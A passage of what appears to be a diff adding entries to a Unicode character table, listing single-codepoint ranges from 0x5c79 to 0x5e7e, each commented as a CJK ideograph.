+ [0x5c79, 0x5c79], /* CJK Ideograph */
+ [0x5c7a, 0x5c7a], /* CJK Ideograph */
+ [0x5c7b, 0x5c7b], /* CJK Ideograph */
+ [0x5c7c, 0x5c7c], /* CJK Ideograph */
+ [0x5c7d, 0x5c7d], /* CJK Ideograph */
+ [0x5c7e, 0x5c7e], /* CJK Ideograph */
+ [0x5c7f, 0x5c7f], /* CJK Ideograph */
+ [0x5c80, 0x5c80], /* CJK Ideograph */
+ [0x5c81, 0x5c81], /* CJK Ideograph */
+ [0x5c82, 0x5c82], /* CJK Ideograph */
+ [0x5c83, 0x5c83], /* CJK Ideograph */
+ [0x5c84, 0x5c84], /* CJK Ideograph */
+ [0x5c85, 0x5c85], /* CJK Ideograph */
+ [0x5c86, 0x5c86], /* CJK Ideograph */
+ [0x5c87, 0x5c87], /* CJK Ideograph */
+ [0x5c88, 0x5c88], /* CJK Ideograph */
+ [0x5c89, 0x5c89], /* CJK Ideograph */
+ [0x5c8a, 0x5c8a], /* CJK Ideograph */
+ [0x5c8b, 0x5c8b], /* CJK Ideograph */
+ [0x5c8c, 0x5c8c], /* CJK Ideograph */
+ [0x5c8d, 0x5c8d], /* CJK Ideograph */
+ [0x5c8e, 0x5c8e], /* CJK Ideograph */
+ [0x5c8f, 0x5c8f], /* CJK Ideograph */
+ [0x5c90, 0x5c90], /* CJK Ideograph */
+ [0x5c91, 0x5c91], /* CJK Ideograph */
+ [0x5c92, 0x5c92], /* CJK Ideograph */
+ [0x5c93, 0x5c93], /* CJK Ideograph */
+ [0x5c94, 0x5c94], /* CJK Ideograph */
+ [0x5c95, 0x5c95], /* CJK Ideograph */
+ [0x5c96, 0x5c96], /* CJK Ideograph */
+ [0x5c97, 0x5c97], /* CJK Ideograph */
+ [0x5c98, 0x5c98], /* CJK Ideograph */
+ [0x5c99, 0x5c99], /* CJK Ideograph */
+ [0x5c9a, 0x5c9a], /* CJK Ideograph */
+ [0x5c9b, 0x5c9b], /* CJK Ideograph */
+ [0x5c9c, 0x5c9c], /* CJK Ideograph */
+ [0x5c9d, 0x5c9d], /* CJK Ideograph */
+ [0x5c9e, 0x5c9e], /* CJK Ideograph */
+ [0x5c9f, 0x5c9f], /* CJK Ideograph */
+ [0x5ca0, 0x5ca0], /* CJK Ideograph */
+ [0x5ca1, 0x5ca1], /* CJK Ideograph */
+ [0x5ca2, 0x5ca2], /* CJK Ideograph */
+ [0x5ca3, 0x5ca3], /* CJK Ideograph */
+ [0x5ca4, 0x5ca4], /* CJK Ideograph */
+ [0x5ca5, 0x5ca5], /* CJK Ideograph */
+ [0x5ca6, 0x5ca6], /* CJK Ideograph */
+ [0x5ca7, 0x5ca7], /* CJK Ideograph */
+ [0x5ca8, 0x5ca8], /* CJK Ideograph */
+ [0x5ca9, 0x5ca9], /* CJK Ideograph */
+ [0x5caa, 0x5caa], /* CJK Ideograph */
+ [0x5cab, 0x5cab], /* CJK Ideograph */
+ [0x5cac, 0x5cac], /* CJK Ideograph */
+ [0x5cad, 0x5cad], /* CJK Ideograph */
+ [0x5cae, 0x5cae], /* CJK Ideograph */
+ [0x5caf, 0x5caf], /* CJK Ideograph */
+ [0x5cb0, 0x5cb0], /* CJK Ideograph */
+ [0x5cb1, 0x5cb1], /* CJK Ideograph */
+ [0x5cb2, 0x5cb2], /* CJK Ideograph */
+ [0x5cb3, 0x5cb3], /* CJK Ideograph */
+ [0x5cb4, 0x5cb4], /* CJK Ideograph */
+ [0x5cb5, 0x5cb5], /* CJK Ideograph */
+ [0x5cb6, 0x5cb6], /* CJK Ideograph */
+ [0x5cb7, 0x5cb7], /* CJK Ideograph */
+ [0x5cb8, 0x5cb8], /* CJK Ideograph */
+ [0x5cb9, 0x5cb9], /* CJK Ideograph */
+ [0x5cba, 0x5cba], /* CJK Ideograph */
+ [0x5cbb, 0x5cbb], /* CJK Ideograph */
+ [0x5cbc, 0x5cbc], /* CJK Ideograph */
+ [0x5cbd, 0x5cbd], /* CJK Ideograph */
+ [0x5cbe, 0x5cbe], /* CJK Ideograph */
+ [0x5cbf, 0x5cbf], /* CJK Ideograph */
+ [0x5cc0, 0x5cc0], /* CJK Ideograph */
+ [0x5cc1, 0x5cc1], /* CJK Ideograph */
+ [0x5cc2, 0x5cc2], /* CJK Ideograph */
+ [0x5cc3, 0x5cc3], /* CJK Ideograph */
+ [0x5cc4, 0x5cc4], /* CJK Ideograph */
+ [0x5cc5, 0x5cc5], /* CJK Ideograph */
+ [0x5cc6, 0x5cc6], /* CJK Ideograph */
+ [0x5cc7, 0x5cc7], /* CJK Ideograph */
+ [0x5cc8, 0x5cc8], /* CJK Ideograph */
+ [0x5cc9, 0x5cc9], /* CJK Ideograph */
+ [0x5cca, 0x5cca], /* CJK Ideograph */
+ [0x5ccb, 0x5ccb], /* CJK Ideograph */
+ [0x5ccc, 0x5ccc], /* CJK Ideograph */
+ [0x5ccd, 0x5ccd], /* CJK Ideograph */
+ [0x5cce, 0x5cce], /* CJK Ideograph */
+ [0x5ccf, 0x5ccf], /* CJK Ideograph */
+ [0x5cd0, 0x5cd0], /* CJK Ideograph */
+ [0x5cd1, 0x5cd1], /* CJK Ideograph */
+ [0x5cd2, 0x5cd2], /* CJK Ideograph */
+ [0x5cd3, 0x5cd3], /* CJK Ideograph */
+ [0x5cd4, 0x5cd4], /* CJK Ideograph */
+ [0x5cd5, 0x5cd5], /* CJK Ideograph */
+ [0x5cd6, 0x5cd6], /* CJK Ideograph */
+ [0x5cd7, 0x5cd7], /* CJK Ideograph */
+ [0x5cd8, 0x5cd8], /* CJK Ideograph */
+ [0x5cd9, 0x5cd9], /* CJK Ideograph */
+ [0x5cda, 0x5cda], /* CJK Ideograph */
+ [0x5cdb, 0x5cdb], /* CJK Ideograph */
+ [0x5cdc, 0x5cdc], /* CJK Ideograph */
+ [0x5cdd, 0x5cdd], /* CJK Ideograph */
+ [0x5cde, 0x5cde], /* CJK Ideograph */
+ [0x5cdf, 0x5cdf], /* CJK Ideograph */
+ [0x5ce0, 0x5ce0], /* CJK Ideograph */
+ [0x5ce1, 0x5ce1], /* CJK Ideograph */
+ [0x5ce2, 0x5ce2], /* CJK Ideograph */
+ [0x5ce3, 0x5ce3], /* CJK Ideograph */
+ [0x5ce4, 0x5ce4], /* CJK Ideograph */
+ [0x5ce5, 0x5ce5], /* CJK Ideograph */
+ [0x5ce6, 0x5ce6], /* CJK Ideograph */
+ [0x5ce7, 0x5ce7], /* CJK Ideograph */
+ [0x5ce8, 0x5ce8], /* CJK Ideograph */
+ [0x5ce9, 0x5ce9], /* CJK Ideograph */
+ [0x5cea, 0x5cea], /* CJK Ideograph */
+ [0x5ceb, 0x5ceb], /* CJK Ideograph */
+ [0x5cec, 0x5cec], /* CJK Ideograph */
+ [0x5ced, 0x5ced], /* CJK Ideograph */
+ [0x5cee, 0x5cee], /* CJK Ideograph */
+ [0x5cef, 0x5cef], /* CJK Ideograph */
+ [0x5cf0, 0x5cf0], /* CJK Ideograph */
+ [0x5cf1, 0x5cf1], /* CJK Ideograph */
+ [0x5cf2, 0x5cf2], /* CJK Ideograph */
+ [0x5cf3, 0x5cf3], /* CJK Ideograph */
+ [0x5cf4, 0x5cf4], /* CJK Ideograph */
+ [0x5cf5, 0x5cf5], /* CJK Ideograph */
+ [0x5cf6, 0x5cf6], /* CJK Ideograph */
+ [0x5cf7, 0x5cf7], /* CJK Ideograph */
+ [0x5cf8, 0x5cf8], /* CJK Ideograph */
+ [0x5cf9, 0x5cf9], /* CJK Ideograph */
+ [0x5cfa, 0x5cfa], /* CJK Ideograph */
+ [0x5cfb, 0x5cfb], /* CJK Ideograph */
+ [0x5cfc, 0x5cfc], /* CJK Ideograph */
+ [0x5cfd, 0x5cfd], /* CJK Ideograph */
+ [0x5cfe, 0x5cfe], /* CJK Ideograph */
+ [0x5cff, 0x5cff], /* CJK Ideograph */
+ [0x5d00, 0x5d00], /* CJK Ideograph */
+ [0x5d01, 0x5d01], /* CJK Ideograph */
+ [0x5d02, 0x5d02], /* CJK Ideograph */
+ [0x5d03, 0x5d03], /* CJK Ideograph */
+ [0x5d04, 0x5d04], /* CJK Ideograph */
+ [0x5d05, 0x5d05], /* CJK Ideograph */
+ [0x5d06, 0x5d06], /* CJK Ideograph */
+ [0x5d07, 0x5d07], /* CJK Ideograph */
+ [0x5d08, 0x5d08], /* CJK Ideograph */
+ [0x5d09, 0x5d09], /* CJK Ideograph */
+ [0x5d0a, 0x5d0a], /* CJK Ideograph */
+ [0x5d0b, 0x5d0b], /* CJK Ideograph */
+ [0x5d0c, 0x5d0c], /* CJK Ideograph */
+ [0x5d0d, 0x5d0d], /* CJK Ideograph */
+ [0x5d0e, 0x5d0e], /* CJK Ideograph */
+ [0x5d0f, 0x5d0f], /* CJK Ideograph */
+ [0x5d10, 0x5d10], /* CJK Ideograph */
+ [0x5d11, 0x5d11], /* CJK Ideograph */
+ [0x5d12, 0x5d12], /* CJK Ideograph */
+ [0x5d13, 0x5d13], /* CJK Ideograph */
+ [0x5d14, 0x5d14], /* CJK Ideograph */
+ [0x5d15, 0x5d15], /* CJK Ideograph */
+ [0x5d16, 0x5d16], /* CJK Ideograph */
+ [0x5d17, 0x5d17], /* CJK Ideograph */
+ [0x5d18, 0x5d18], /* CJK Ideograph */
+ [0x5d19, 0x5d19], /* CJK Ideograph */
+ [0x5d1a, 0x5d1a], /* CJK Ideograph */
+ [0x5d1b, 0x5d1b], /* CJK Ideograph */
+ [0x5d1c, 0x5d1c], /* CJK Ideograph */
+ [0x5d1d, 0x5d1d], /* CJK Ideograph */
+ [0x5d1e, 0x5d1e], /* CJK Ideograph */
+ [0x5d1f, 0x5d1f], /* CJK Ideograph */
+ [0x5d20, 0x5d20], /* CJK Ideograph */
+ [0x5d21, 0x5d21], /* CJK Ideograph */
+ [0x5d22, 0x5d22], /* CJK Ideograph */
+ [0x5d23, 0x5d23], /* CJK Ideograph */
+ [0x5d24, 0x5d24], /* CJK Ideograph */
+ [0x5d25, 0x5d25], /* CJK Ideograph */
+ [0x5d26, 0x5d26], /* CJK Ideograph */
+ [0x5d27, 0x5d27], /* CJK Ideograph */
+ [0x5d28, 0x5d28], /* CJK Ideograph */
+ [0x5d29, 0x5d29], /* CJK Ideograph */
+ [0x5d2a, 0x5d2a], /* CJK Ideograph */
+ [0x5d2b, 0x5d2b], /* CJK Ideograph */
+ [0x5d2c, 0x5d2c], /* CJK Ideograph */
+ [0x5d2d, 0x5d2d], /* CJK Ideograph */
+ [0x5d2e, 0x5d2e], /* CJK Ideograph */
+ [0x5d2f, 0x5d2f], /* CJK Ideograph */
+ [0x5d30, 0x5d30], /* CJK Ideograph */
+ [0x5d31, 0x5d31], /* CJK Ideograph */
+ [0x5d32, 0x5d32], /* CJK Ideograph */
+ [0x5d33, 0x5d33], /* CJK Ideograph */
+ [0x5d34, 0x5d34], /* CJK Ideograph */
+ [0x5d35, 0x5d35], /* CJK Ideograph */
+ [0x5d36, 0x5d36], /* CJK Ideograph */
+ [0x5d37, 0x5d37], /* CJK Ideograph */
+ [0x5d38, 0x5d38], /* CJK Ideograph */
+ [0x5d39, 0x5d39], /* CJK Ideograph */
+ [0x5d3a, 0x5d3a], /* CJK Ideograph */
+ [0x5d3b, 0x5d3b], /* CJK Ideograph */
+ [0x5d3c, 0x5d3c], /* CJK Ideograph */
+ [0x5d3d, 0x5d3d], /* CJK Ideograph */
+ [0x5d3e, 0x5d3e], /* CJK Ideograph */
+ [0x5d3f, 0x5d3f], /* CJK Ideograph */
+ [0x5d40, 0x5d40], /* CJK Ideograph */
+ [0x5d41, 0x5d41], /* CJK Ideograph */
+ [0x5d42, 0x5d42], /* CJK Ideograph */
+ [0x5d43, 0x5d43], /* CJK Ideograph */
+ [0x5d44, 0x5d44], /* CJK Ideograph */
+ [0x5d45, 0x5d45], /* CJK Ideograph */
+ [0x5d46, 0x5d46], /* CJK Ideograph */
+ [0x5d47, 0x5d47], /* CJK Ideograph */
+ [0x5d48, 0x5d48], /* CJK Ideograph */
+ [0x5d49, 0x5d49], /* CJK Ideograph */
+ [0x5d4a, 0x5d4a], /* CJK Ideograph */
+ [0x5d4b, 0x5d4b], /* CJK Ideograph */
+ [0x5d4c, 0x5d4c], /* CJK Ideograph */
+ [0x5d4d, 0x5d4d], /* CJK Ideograph */
+ [0x5d4e, 0x5d4e], /* CJK Ideograph */
+ [0x5d4f, 0x5d4f], /* CJK Ideograph */
+ [0x5d50, 0x5d50], /* CJK Ideograph */
+ [0x5d51, 0x5d51], /* CJK Ideograph */
+ [0x5d52, 0x5d52], /* CJK Ideograph */
+ [0x5d53, 0x5d53], /* CJK Ideograph */
+ [0x5d54, 0x5d54], /* CJK Ideograph */
+ [0x5d55, 0x5d55], /* CJK Ideograph */
+ [0x5d56, 0x5d56], /* CJK Ideograph */
+ [0x5d57, 0x5d57], /* CJK Ideograph */
+ [0x5d58, 0x5d58], /* CJK Ideograph */
+ [0x5d59, 0x5d59], /* CJK Ideograph */
+ [0x5d5a, 0x5d5a], /* CJK Ideograph */
+ [0x5d5b, 0x5d5b], /* CJK Ideograph */
+ [0x5d5c, 0x5d5c], /* CJK Ideograph */
+ [0x5d5d, 0x5d5d], /* CJK Ideograph */
+ [0x5d5e, 0x5d5e], /* CJK Ideograph */
+ [0x5d5f, 0x5d5f], /* CJK Ideograph */
+ [0x5d60, 0x5d60], /* CJK Ideograph */
+ [0x5d61, 0x5d61], /* CJK Ideograph */
+ [0x5d62, 0x5d62], /* CJK Ideograph */
+ [0x5d63, 0x5d63], /* CJK Ideograph */
+ [0x5d64, 0x5d64], /* CJK Ideograph */
+ [0x5d65, 0x5d65], /* CJK Ideograph */
+ [0x5d66, 0x5d66], /* CJK Ideograph */
+ [0x5d67, 0x5d67], /* CJK Ideograph */
+ [0x5d68, 0x5d68], /* CJK Ideograph */
+ [0x5d69, 0x5d69], /* CJK Ideograph */
+ [0x5d6a, 0x5d6a], /* CJK Ideograph */
+ [0x5d6b, 0x5d6b], /* CJK Ideograph */
+ [0x5d6c, 0x5d6c], /* CJK Ideograph */
+ [0x5d6d, 0x5d6d], /* CJK Ideograph */
+ [0x5d6e, 0x5d6e], /* CJK Ideograph */
+ [0x5d6f, 0x5d6f], /* CJK Ideograph */
+ [0x5d70, 0x5d70], /* CJK Ideograph */
+ [0x5d71, 0x5d71], /* CJK Ideograph */
+ [0x5d72, 0x5d72], /* CJK Ideograph */
+ [0x5d73, 0x5d73], /* CJK Ideograph */
+ [0x5d74, 0x5d74], /* CJK Ideograph */
+ [0x5d75, 0x5d75], /* CJK Ideograph */
+ [0x5d76, 0x5d76], /* CJK Ideograph */
+ [0x5d77, 0x5d77], /* CJK Ideograph */
+ [0x5d78, 0x5d78], /* CJK Ideograph */
+ [0x5d79, 0x5d79], /* CJK Ideograph */
+ [0x5d7a, 0x5d7a], /* CJK Ideograph */
+ [0x5d7b, 0x5d7b], /* CJK Ideograph */
+ [0x5d7c, 0x5d7c], /* CJK Ideograph */
+ [0x5d7d, 0x5d7d], /* CJK Ideograph */
+ [0x5d7e, 0x5d7e], /* CJK Ideograph */
+ [0x5d7f, 0x5d7f], /* CJK Ideograph */
+ [0x5d80, 0x5d80], /* CJK Ideograph */
+ [0x5d81, 0x5d81], /* CJK Ideograph */
+ [0x5d82, 0x5d82], /* CJK Ideograph */
+ [0x5d83, 0x5d83], /* CJK Ideograph */
+ [0x5d84, 0x5d84], /* CJK Ideograph */
+ [0x5d85, 0x5d85], /* CJK Ideograph */
+ [0x5d86, 0x5d86], /* CJK Ideograph */
+ [0x5d87, 0x5d87], /* CJK Ideograph */
+ [0x5d88, 0x5d88], /* CJK Ideograph */
+ [0x5d89, 0x5d89], /* CJK Ideograph */
+ [0x5d8a, 0x5d8a], /* CJK Ideograph */
+ [0x5d8b, 0x5d8b], /* CJK Ideograph */
+ [0x5d8c, 0x5d8c], /* CJK Ideograph */
+ [0x5d8d, 0x5d8d], /* CJK Ideograph */
+ [0x5d8e, 0x5d8e], /* CJK Ideograph */
+ [0x5d8f, 0x5d8f], /* CJK Ideograph */
+ [0x5d90, 0x5d90], /* CJK Ideograph */
+ [0x5d91, 0x5d91], /* CJK Ideograph */
+ [0x5d92, 0x5d92], /* CJK Ideograph */
+ [0x5d93, 0x5d93], /* CJK Ideograph */
+ [0x5d94, 0x5d94], /* CJK Ideograph */
+ [0x5d95, 0x5d95], /* CJK Ideograph */
+ [0x5d96, 0x5d96], /* CJK Ideograph */
+ [0x5d97, 0x5d97], /* CJK Ideograph */
+ [0x5d98, 0x5d98], /* CJK Ideograph */
+ [0x5d99, 0x5d99], /* CJK Ideograph */
+ [0x5d9a, 0x5d9a], /* CJK Ideograph */
+ [0x5d9b, 0x5d9b], /* CJK Ideograph */
+ [0x5d9c, 0x5d9c], /* CJK Ideograph */
+ [0x5d9d, 0x5d9d], /* CJK Ideograph */
+ [0x5d9e, 0x5d9e], /* CJK Ideograph */
+ [0x5d9f, 0x5d9f], /* CJK Ideograph */
+ [0x5da0, 0x5da0], /* CJK Ideograph */
+ [0x5da1, 0x5da1], /* CJK Ideograph */
+ [0x5da2, 0x5da2], /* CJK Ideograph */
+ [0x5da3, 0x5da3], /* CJK Ideograph */
+ [0x5da4, 0x5da4], /* CJK Ideograph */
+ [0x5da5, 0x5da5], /* CJK Ideograph */
+ [0x5da6, 0x5da6], /* CJK Ideograph */
+ [0x5da7, 0x5da7], /* CJK Ideograph */
+ [0x5da8, 0x5da8], /* CJK Ideograph */
+ [0x5da9, 0x5da9], /* CJK Ideograph */
+ [0x5daa, 0x5daa], /* CJK Ideograph */
+ [0x5dab, 0x5dab], /* CJK Ideograph */
+ [0x5dac, 0x5dac], /* CJK Ideograph */
+ [0x5dad, 0x5dad], /* CJK Ideograph */
+ [0x5dae, 0x5dae], /* CJK Ideograph */
+ [0x5daf, 0x5daf], /* CJK Ideograph */
+ [0x5db0, 0x5db0], /* CJK Ideograph */
+ [0x5db1, 0x5db1], /* CJK Ideograph */
+ [0x5db2, 0x5db2], /* CJK Ideograph */
+ [0x5db3, 0x5db3], /* CJK Ideograph */
+ [0x5db4, 0x5db4], /* CJK Ideograph */
+ [0x5db5, 0x5db5], /* CJK Ideograph */
+ [0x5db6, 0x5db6], /* CJK Ideograph */
+ [0x5db7, 0x5db7], /* CJK Ideograph */
+ [0x5db8, 0x5db8], /* CJK Ideograph */
+ [0x5db9, 0x5db9], /* CJK Ideograph */
+ [0x5dba, 0x5dba], /* CJK Ideograph */
+ [0x5dbb, 0x5dbb], /* CJK Ideograph */
+ [0x5dbc, 0x5dbc], /* CJK Ideograph */
+ [0x5dbd, 0x5dbd], /* CJK Ideograph */
+ [0x5dbe, 0x5dbe], /* CJK Ideograph */
+ [0x5dbf, 0x5dbf], /* CJK Ideograph */
+ [0x5dc0, 0x5dc0], /* CJK Ideograph */
+ [0x5dc1, 0x5dc1], /* CJK Ideograph */
+ [0x5dc2, 0x5dc2], /* CJK Ideograph */
+ [0x5dc3, 0x5dc3], /* CJK Ideograph */
+ [0x5dc4, 0x5dc4], /* CJK Ideograph */
+ [0x5dc5, 0x5dc5], /* CJK Ideograph */
+ [0x5dc6, 0x5dc6], /* CJK Ideograph */
+ [0x5dc7, 0x5dc7], /* CJK Ideograph */
+ [0x5dc8, 0x5dc8], /* CJK Ideograph */
+ [0x5dc9, 0x5dc9], /* CJK Ideograph */
+ [0x5dca, 0x5dca], /* CJK Ideograph */
+ [0x5dcb, 0x5dcb], /* CJK Ideograph */
+ [0x5dcc, 0x5dcc], /* CJK Ideograph */
+ [0x5dcd, 0x5dcd], /* CJK Ideograph */
+ [0x5dce, 0x5dce], /* CJK Ideograph */
+ [0x5dcf, 0x5dcf], /* CJK Ideograph */
+ [0x5dd0, 0x5dd0], /* CJK Ideograph */
+ [0x5dd1, 0x5dd1], /* CJK Ideograph */
+ [0x5dd2, 0x5dd2], /* CJK Ideograph */
+ [0x5dd3, 0x5dd3], /* CJK Ideograph */
+ [0x5dd4, 0x5dd4], /* CJK Ideograph */
+ [0x5dd5, 0x5dd5], /* CJK Ideograph */
+ [0x5dd6, 0x5dd6], /* CJK Ideograph */
+ [0x5dd7, 0x5dd7], /* CJK Ideograph */
+ [0x5dd8, 0x5dd8], /* CJK Ideograph */
+ [0x5dd9, 0x5dd9], /* CJK Ideograph */
+ [0x5dda, 0x5dda], /* CJK Ideograph */
+ [0x5ddb, 0x5ddb], /* CJK Ideograph */
+ [0x5ddc, 0x5ddc], /* CJK Ideograph */
+ [0x5ddd, 0x5ddd], /* CJK Ideograph */
+ [0x5dde, 0x5dde], /* CJK Ideograph */
+ [0x5ddf, 0x5ddf], /* CJK Ideograph */
+ [0x5de0, 0x5de0], /* CJK Ideograph */
+ [0x5de1, 0x5de1], /* CJK Ideograph */
+ [0x5de2, 0x5de2], /* CJK Ideograph */
+ [0x5de3, 0x5de3], /* CJK Ideograph */
+ [0x5de4, 0x5de4], /* CJK Ideograph */
+ [0x5de5, 0x5de5], /* CJK Ideograph */
+ [0x5de6, 0x5de6], /* CJK Ideograph */
+ [0x5de7, 0x5de7], /* CJK Ideograph */
+ [0x5de8, 0x5de8], /* CJK Ideograph */
+ [0x5de9, 0x5de9], /* CJK Ideograph */
+ [0x5dea, 0x5dea], /* CJK Ideograph */
+ [0x5deb, 0x5deb], /* CJK Ideograph */
+ [0x5dec, 0x5dec], /* CJK Ideograph */
+ [0x5ded, 0x5ded], /* CJK Ideograph */
+ [0x5dee, 0x5dee], /* CJK Ideograph */
+ [0x5def, 0x5def], /* CJK Ideograph */
+ [0x5df0, 0x5df0], /* CJK Ideograph */
+ [0x5df1, 0x5df1], /* CJK Ideograph */
+ [0x5df2, 0x5df2], /* CJK Ideograph */
+ [0x5df3, 0x5df3], /* CJK Ideograph */
+ [0x5df4, 0x5df4], /* CJK Ideograph */
+ [0x5df5, 0x5df5], /* CJK Ideograph */
+ [0x5df6, 0x5df6], /* CJK Ideograph */
+ [0x5df7, 0x5df7], /* CJK Ideograph */
+ [0x5df8, 0x5df8], /* CJK Ideograph */
+ [0x5df9, 0x5df9], /* CJK Ideograph */
+ [0x5dfa, 0x5dfa], /* CJK Ideograph */
+ [0x5dfb, 0x5dfb], /* CJK Ideograph */
+ [0x5dfc, 0x5dfc], /* CJK Ideograph */
+ [0x5dfd, 0x5dfd], /* CJK Ideograph */
+ [0x5dfe, 0x5dfe], /* CJK Ideograph */
+ [0x5dff, 0x5dff], /* CJK Ideograph */
+ [0x5e00, 0x5e00], /* CJK Ideograph */
+ [0x5e01, 0x5e01], /* CJK Ideograph */
+ [0x5e02, 0x5e02], /* CJK Ideograph */
+ [0x5e03, 0x5e03], /* CJK Ideograph */
+ [0x5e04, 0x5e04], /* CJK Ideograph */
+ [0x5e05, 0x5e05], /* CJK Ideograph */
+ [0x5e06, 0x5e06], /* CJK Ideograph */
+ [0x5e07, 0x5e07], /* CJK Ideograph */
+ [0x5e08, 0x5e08], /* CJK Ideograph */
+ [0x5e09, 0x5e09], /* CJK Ideograph */
+ [0x5e0a, 0x5e0a], /* CJK Ideograph */
+ [0x5e0b, 0x5e0b], /* CJK Ideograph */
+ [0x5e0c, 0x5e0c], /* CJK Ideograph */
+ [0x5e0d, 0x5e0d], /* CJK Ideograph */
+ [0x5e0e, 0x5e0e], /* CJK Ideograph */
+ [0x5e0f, 0x5e0f], /* CJK Ideograph */
+ [0x5e10, 0x5e10], /* CJK Ideograph */
+ [0x5e11, 0x5e11], /* CJK Ideograph */
+ [0x5e12, 0x5e12], /* CJK Ideograph */
+ [0x5e13, 0x5e13], /* CJK Ideograph */
+ [0x5e14, 0x5e14], /* CJK Ideograph */
+ [0x5e15, 0x5e15], /* CJK Ideograph */
+ [0x5e16, 0x5e16], /* CJK Ideograph */
+ [0x5e17, 0x5e17], /* CJK Ideograph */
+ [0x5e18, 0x5e18], /* CJK Ideograph */
+ [0x5e19, 0x5e19], /* CJK Ideograph */
+ [0x5e1a, 0x5e1a], /* CJK Ideograph */
+ [0x5e1b, 0x5e1b], /* CJK Ideograph */
+ [0x5e1c, 0x5e1c], /* CJK Ideograph */
+ [0x5e1d, 0x5e1d], /* CJK Ideograph */
+ [0x5e1e, 0x5e1e], /* CJK Ideograph */
+ [0x5e1f, 0x5e1f], /* CJK Ideograph */
+ [0x5e20, 0x5e20], /* CJK Ideograph */
+ [0x5e21, 0x5e21], /* CJK Ideograph */
+ [0x5e22, 0x5e22], /* CJK Ideograph */
+ [0x5e23, 0x5e23], /* CJK Ideograph */
+ [0x5e24, 0x5e24], /* CJK Ideograph */
+ [0x5e25, 0x5e25], /* CJK Ideograph */
+ [0x5e26, 0x5e26], /* CJK Ideograph */
+ [0x5e27, 0x5e27], /* CJK Ideograph */
+ [0x5e28, 0x5e28], /* CJK Ideograph */
+ [0x5e29, 0x5e29], /* CJK Ideograph */
+ [0x5e2a, 0x5e2a], /* CJK Ideograph */
+ [0x5e2b, 0x5e2b], /* CJK Ideograph */
+ [0x5e2c, 0x5e2c], /* CJK Ideograph */
+ [0x5e2d, 0x5e2d], /* CJK Ideograph */
+ [0x5e2e, 0x5e2e], /* CJK Ideograph */
+ [0x5e2f, 0x5e2f], /* CJK Ideograph */
+ [0x5e30, 0x5e30], /* CJK Ideograph */
+ [0x5e31, 0x5e31], /* CJK Ideograph */
+ [0x5e32, 0x5e32], /* CJK Ideograph */
+ [0x5e33, 0x5e33], /* CJK Ideograph */
+ [0x5e34, 0x5e34], /* CJK Ideograph */
+ [0x5e35, 0x5e35], /* CJK Ideograph */
+ [0x5e36, 0x5e36], /* CJK Ideograph */
+ [0x5e37, 0x5e37], /* CJK Ideograph */
+ [0x5e38, 0x5e38], /* CJK Ideograph */
+ [0x5e39, 0x5e39], /* CJK Ideograph */
+ [0x5e3a, 0x5e3a], /* CJK Ideograph */
+ [0x5e3b, 0x5e3b], /* CJK Ideograph */
+ [0x5e3c, 0x5e3c], /* CJK Ideograph */
+ [0x5e3d, 0x5e3d], /* CJK Ideograph */
+ [0x5e3e, 0x5e3e], /* CJK Ideograph */
+ [0x5e3f, 0x5e3f], /* CJK Ideograph */
+ [0x5e40, 0x5e40], /* CJK Ideograph */
+ [0x5e41, 0x5e41], /* CJK Ideograph */
+ [0x5e42, 0x5e42], /* CJK Ideograph */
+ [0x5e43, 0x5e43], /* CJK Ideograph */
+ [0x5e44, 0x5e44], /* CJK Ideograph */
+ [0x5e45, 0x5e45], /* CJK Ideograph */
+ [0x5e46, 0x5e46], /* CJK Ideograph */
+ [0x5e47, 0x5e47], /* CJK Ideograph */
+ [0x5e48, 0x5e48], /* CJK Ideograph */
+ [0x5e49, 0x5e49], /* CJK Ideograph */
+ [0x5e4a, 0x5e4a], /* CJK Ideograph */
+ [0x5e4b, 0x5e4b], /* CJK Ideograph */
+ [0x5e4c, 0x5e4c], /* CJK Ideograph */
+ [0x5e4d, 0x5e4d], /* CJK Ideograph */
+ [0x5e4e, 0x5e4e], /* CJK Ideograph */
+ [0x5e4f, 0x5e4f], /* CJK Ideograph */
+ [0x5e50, 0x5e50], /* CJK Ideograph */
+ [0x5e51, 0x5e51], /* CJK Ideograph */
+ [0x5e52, 0x5e52], /* CJK Ideograph */
+ [0x5e53, 0x5e53], /* CJK Ideograph */
+ [0x5e54, 0x5e54], /* CJK Ideograph */
+ [0x5e55, 0x5e55], /* CJK Ideograph */
+ [0x5e56, 0x5e56], /* CJK Ideograph */
+ [0x5e57, 0x5e57], /* CJK Ideograph */
+ [0x5e58, 0x5e58], /* CJK Ideograph */
+ [0x5e59, 0x5e59], /* CJK Ideograph */
+ [0x5e5a, 0x5e5a], /* CJK Ideograph */
+ [0x5e5b, 0x5e5b], /* CJK Ideograph */
+ [0x5e5c, 0x5e5c], /* CJK Ideograph */
+ [0x5e5d, 0x5e5d], /* CJK Ideograph */
+ [0x5e5e, 0x5e5e], /* CJK Ideograph */
+ [0x5e5f, 0x5e5f], /* CJK Ideograph */
+ [0x5e60, 0x5e60], /* CJK Ideograph */
+ [0x5e61, 0x5e61], /* CJK Ideograph */
+ [0x5e62, 0x5e62], /* CJK Ideograph */
+ [0x5e63, 0x5e63], /* CJK Ideograph */
+ [0x5e64, 0x5e64], /* CJK Ideograph */
+ [0x5e65, 0x5e65], /* CJK Ideograph */
+ [0x5e66, 0x5e66], /* CJK Ideograph */
+ [0x5e67, 0x5e67], /* CJK Ideograph */
+ [0x5e68, 0x5e68], /* CJK Ideograph */
+ [0x5e69, 0x5e69], /* CJK Ideograph */
+ [0x5e6a, 0x5e6a], /* CJK Ideograph */
+ [0x5e6b, 0x5e6b], /* CJK Ideograph */
+ [0x5e6c, 0x5e6c], /* CJK Ideograph */
+ [0x5e6d, 0x5e6d], /* CJK Ideograph */
+ [0x5e6e, 0x5e6e], /* CJK Ideograph */
+ [0x5e6f, 0x5e6f], /* CJK Ideograph */
+ [0x5e70, 0x5e70], /* CJK Ideograph */
+ [0x5e71, 0x5e71], /* CJK Ideograph */
+ [0x5e72, 0x5e72], /* CJK Ideograph */
+ [0x5e73, 0x5e73], /* CJK Ideograph */
+ [0x5e74, 0x5e74], /* CJK Ideograph */
+ [0x5e75, 0x5e75], /* CJK Ideograph */
+ [0x5e76, 0x5e76], /* CJK Ideograph */
+ [0x5e77, 0x5e77], /* CJK Ideograph */
+ [0x5e78, 0x5e78], /* CJK Ideograph */
+ [0x5e79, 0x5e79], /* CJK Ideograph */
+ [0x5e7a, 0x5e7a], /* CJK Ideograph */
+ [0x5e7b, 0x5e7b], /* CJK Ideograph */
+ [0x5e7c, 0x5e7c], /* CJK Ideograph */
+ [0x5e7d, 0x5e7d], /* CJK Ideograph */
+ [0x5e7e, 0x5e7e], /* CJK Ideograph */
